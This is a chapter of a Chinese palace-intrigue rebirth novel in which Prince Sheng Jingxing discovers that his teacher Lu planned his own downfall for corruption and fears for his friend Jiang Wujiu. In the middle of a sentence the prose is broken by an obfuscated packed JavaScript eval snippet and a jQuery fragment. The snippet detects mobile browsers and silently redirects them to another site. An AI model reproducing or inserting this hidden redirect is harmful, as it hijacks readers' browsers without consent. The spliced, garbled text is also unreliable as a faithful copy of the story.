月已中天,回府途中路过宁王府,灯还亮着,才走进内院便听见翻箱倒柜的巨大声响。江无咎暗暗摸向腰侧。
推门而入,却见长卿一言不发的站在书桌前,桌案上信纸未燃尽,落下黑灰粉末。
盛景行发了疯般翻倒书柜,一本又一本,一卷又一卷地找着,好似要把字字句句都吃进脑中。
“怎么了这是?”
江无咎鲜少见他这般模样,冲上前抓住他双肩:“盛景行?三殿下?你说话啊,发生什么了?”
“不、不可能,不可能.…..怎么会这样.…..”
他指节紧扣书卷,攥得发白,整个人在地上蜷缩着,全然不似平日游刃有余偏偏公子的泰然。
江无咎压低声音在他耳边:“我早就想问你了,那日从陆伯伯家回来你就一副魂不守舍的样子。他与你说了什么?”
长卿在一旁欲言又止,好几次想要开口又止住了。
消息他反复确认了几遍,确无作假。快马归京,今日恰逢蟹宴,他站在雅间门外踌躇半晌,哪知来开门的是殿下。
或许谁也不会想到,除了军饷失窃,他们追查已久的私盐贩运案背后站着的,亦是那位古板正直的清流首领,前几日与他一同欢笑着吃饺子的三司使陆大人。
又或许他想到了。
盛景行拼命地翻找往日与老师来往的书信,在一本本经年累月陪伴自己的卷宗书册里发现了些许端倪。
眼眶发红,嘴唇却是惨白,他死死地咬住牙齿,让自己不发出任何一点声音。
昔日码头巡视,江南鱼米富足,河流交错,气候宜人。往来中州最是适宜乘船而行。通运河,开商贾,鱼盐互往利百姓安居。一方治下怡然自得。
老师在河岸边问策于他。
运河开通,每入秋时,商人运蟹入京,渐渐风靡传入宫中,得官家喜爱,广寻善厨。高氏应时入宫,为天子所喜,大设蟹宴。
陆伯之邀请自己到府上品评少时珍馐。
帝病之秋恰逢科举,贺家女随兄入京趁势救帝,得见天颜。后与他出幕入府随侍左右,一时传为佳语。
他原以为重来一次,自己便能轻而易举地化解一出出“偶然”。走到如今,才发现人间海海,处处都是早已布下的罗网。
紧闭的双眼里,敬重的老师端着饺子汤笑呵呵地问他味道如何,儿时好友目光恳切地看着他说陆氏永远会支持宁王。
老师说,他既领了此职便该彻查到底,不应偏私枉法,身居何位都该初心不改。
“盐运一案不是要查贪么?你不是一直都在往深查,口口声声为江山安稳为百姓安宁要揪出朝中蛀虫么?”
“抓了这么多小喽啰,他们不信你,他们说你懦弱,你就当真如此么?你把我抓了,你把我参上去,让所有人好好看看你是怎样的公正清明无畏无私,你敢不敢?”
“盛景行,你是我最看好的学生,你从小颖悟绝伦对策如流心怀社稷,无论遇到什么风浪、颠簸,你都不应该放弃你自己!”
“盛景行你好好看看你自己现在像什么样,你允许你颓废,天下人允许吗?”
“为什么还会走到这一步,不该是这样的。”他伸出手去拉眼前扭曲着卷入黑暗的人,“我没有骂她,我不是在骂她,没有……”
脑中兀的出现了那双巧笑嫣然的眼睛,分裂,变换,交错,直至合二为一。那双眼睛的主人声声唤着他:
“宁王殿下”
“景行哥哥”
“三殿下”
“盛景行,盛景行你醒醒,你没事儿吧?”
双眼再见到光亮时,人已躺在床上,头疼欲裂,“无咎?你还在这里……我现在很乱,不知道这个决定是对是错,我不敢试了。”
眼前江无咎摇着他的胳膊:“陆伯伯的事有什么进展,你想怎么做,我都支持你。”
双手攥住江无咎的衣领,他将人往身前一拽,“祖母祖父难得回京一趟,你今年留在京城过年好不好?”
“他们怎么了!他们可是有危险?”江无咎猛地起身,生生把盛景行也带了起来,“什么事是连我也不能知道的?”
“不是的,不是的。”盛景行暗自摇头,“不是他们有危险,今年盟约新订,但是戎狄向来狡猾,保不准又要来骚扰,你这一年太出风头了,我怕……祖父祖母年纪大了,你留下了陪他们过一个年好吗?”
盛景行叹了口气,想让他留下来,又想让老师活下去,进退两难,横也是谎,竖也是谎。
他的老师蛰伏多年,一步步引导他去查找、去串联,从父皇登基、皇兄与谢家出事之后的那一件件事,所牵出的,不仅是皇后太子的桩桩恶行,还是陆三司本人的帮凶贪饷。
陆三司要将自己作为他夺嫡路上最有力的武器,他要以己之血,换朝廷清明。
以身为饵,舍身饲虎,方可与虎谋皮。
若是按照陆三司的话去做,他一倒台,京中必将迎来一场动荡。万一太子狗急跳墙,发动宫变,他需要有一个靠得住的人,稳住军心。
盛景行还有一个不敢说出口的原因,永安十年冬日,边境有一场鏖战,江无咎会死在那里。
江无咎一巴掌拍在他肩上:“说什么呢,我江家儿女谁不是上阵杀敌拼出来的,既然边关有难,我更应该回去才是,我要是当缩头乌龟躲在家里过年,我家列祖列宗都要瞧不起我!”
“战场刀剑无眼,你要是出了什么岔子,江家怎么办!”
江无咎鼓着眼睛站起来,向后挥着并不存在的披风,“我北玄军将士,各个都誓死守卫边关,死了一个江无咎,后面还有千千万万个弟兄,谁的命不是命!我身为领将,刀剑无眼自然也是要站在最前头!”
他握紧的拳头颤抖着,唇瓣也微微翕动,仿佛有千言万语在舌尖翻滚,最终只化作一声叹息:“那她呢?”
“什么?”
眼底的光明明灭灭,风吹乱烛火,那些话语在嘴边辗转半晌,喉结轻轻滚动,像是咽下了某种难以言说的情绪:“……贺元棠。”盛景行垂眼,“你去寻她,她没同你说什么?”
“盛景行你是不是疯了?这种时候还开什么玩笑。”他尾音咬得极重,嘴角微微扬起,不知是气的还是笑的。
盛景行淡淡地抬眸看他:“我疯了,我是疯了……我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815442|190852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么多年敬重、信赖的老师,现在拿着他一步步引导我去寻找的证据,要向天下人展示,盛朝的第一贪官污吏,是他自己。”
“他把他自己作为我最有力的推手和政绩,要用自己去拉太子下水,让我坐上那个位子。”他一字一顿地说道,“毁师灭道,这与弑父弑君,又有什么分别?”
重下了一盘棋局,到头来执棋手,依然不是自己。
盛景行垂着腿坐在床边,忽然笑了。
上一世他失去了兄弟,失去了爱人,这一世,又要让他牺牲老师么。
他想要把江无咎留在京城,想要为他稳住最后的局面,为他留下一条活路,也不能实现么。
命运似乎总是在和他开玩笑。
这又是一场噩梦吗?盛景行拼命拧着腿上的肉,拧到江无咎过来扳他的手,拧到腿间一片青紫。
这场梦怎么还没醒呢?
他是不是早就死在永安十年的冬天了?他是不是抱着她的尸体,早就被埋在土里了?
江无咎比他死得早半个月,现在该是比他年纪大一些吧。她在成亲的第二日自缢,是不是也比自己还要年长些许?
大皇兄又比他们大五六岁吗?他们还会不会笑话自己?
“盛景行,盛景行!”有人在扇着他的脸,“你会不会痛?你听不听得见!”
“无咎?怎么又是你……是不是你原谅我了?”
“天快亮了,今天还有朝会,你还要不要去。”江无咎眉宇间染上些许倦色,“得亏祖母知道你王府是什么情况,不然她半夜就要来扒了我的皮!”
长夜尽头的街道上,只有上朝官员的车马前点着红彤彤的灯,霜气凝结在石板路上,白茫茫的一片。
车内两人眼泛血丝,并肩坐在一起,周遭冷得恰如此时的天气。
江无咎开口打破了宁静:“祖父常说,为将者最好的归宿有两种,一种是死在最后一战的最后一刻;一种是死在太平盛世到来的前一天。”他哽咽了一下,“但我父亲……没能如愿。”
鸟尽弓藏,兔死狗烹,这是他们念书时听见的道理。
历朝历代,只有死了的将军,才是最好的将军。倒是像安国公这样历任几朝的老将,倒是罕有。
“当我得知父亲的死讯时,哭了一整晚,那时候有个人对我说,‘现在不是哭的时候,所有人的眼睛都在看着你’,我作为少将军,必须扛起北玄军的军旗,我必须带着他们继续走下去。”
在江无咎心里,盛景行便是这样的人,他会为了最终的胜利,为了不让所有人的鲜血白流,坚定地走下去。
哪怕是不得已,暂时的放弃、牺牲某座城池,哪怕是要断尾求生。
“哪怕是要断尾求生。”盛景行喃喃道。
“哪怕是要断尾求生,你还记得对吧?这可是主将的必修课。”
江无咎揽过他,“无论是大殿下、谢公、陆伯伯,没有任何人是一定要死的,但是他们愿意成为这座被暂时放弃的城池,被断掉的尾,便是相信有朝一日,会有人来收复它,有朝一日,断尾能够新生。”
两人像幼时一样,撞了撞脑袋,撞得生疼。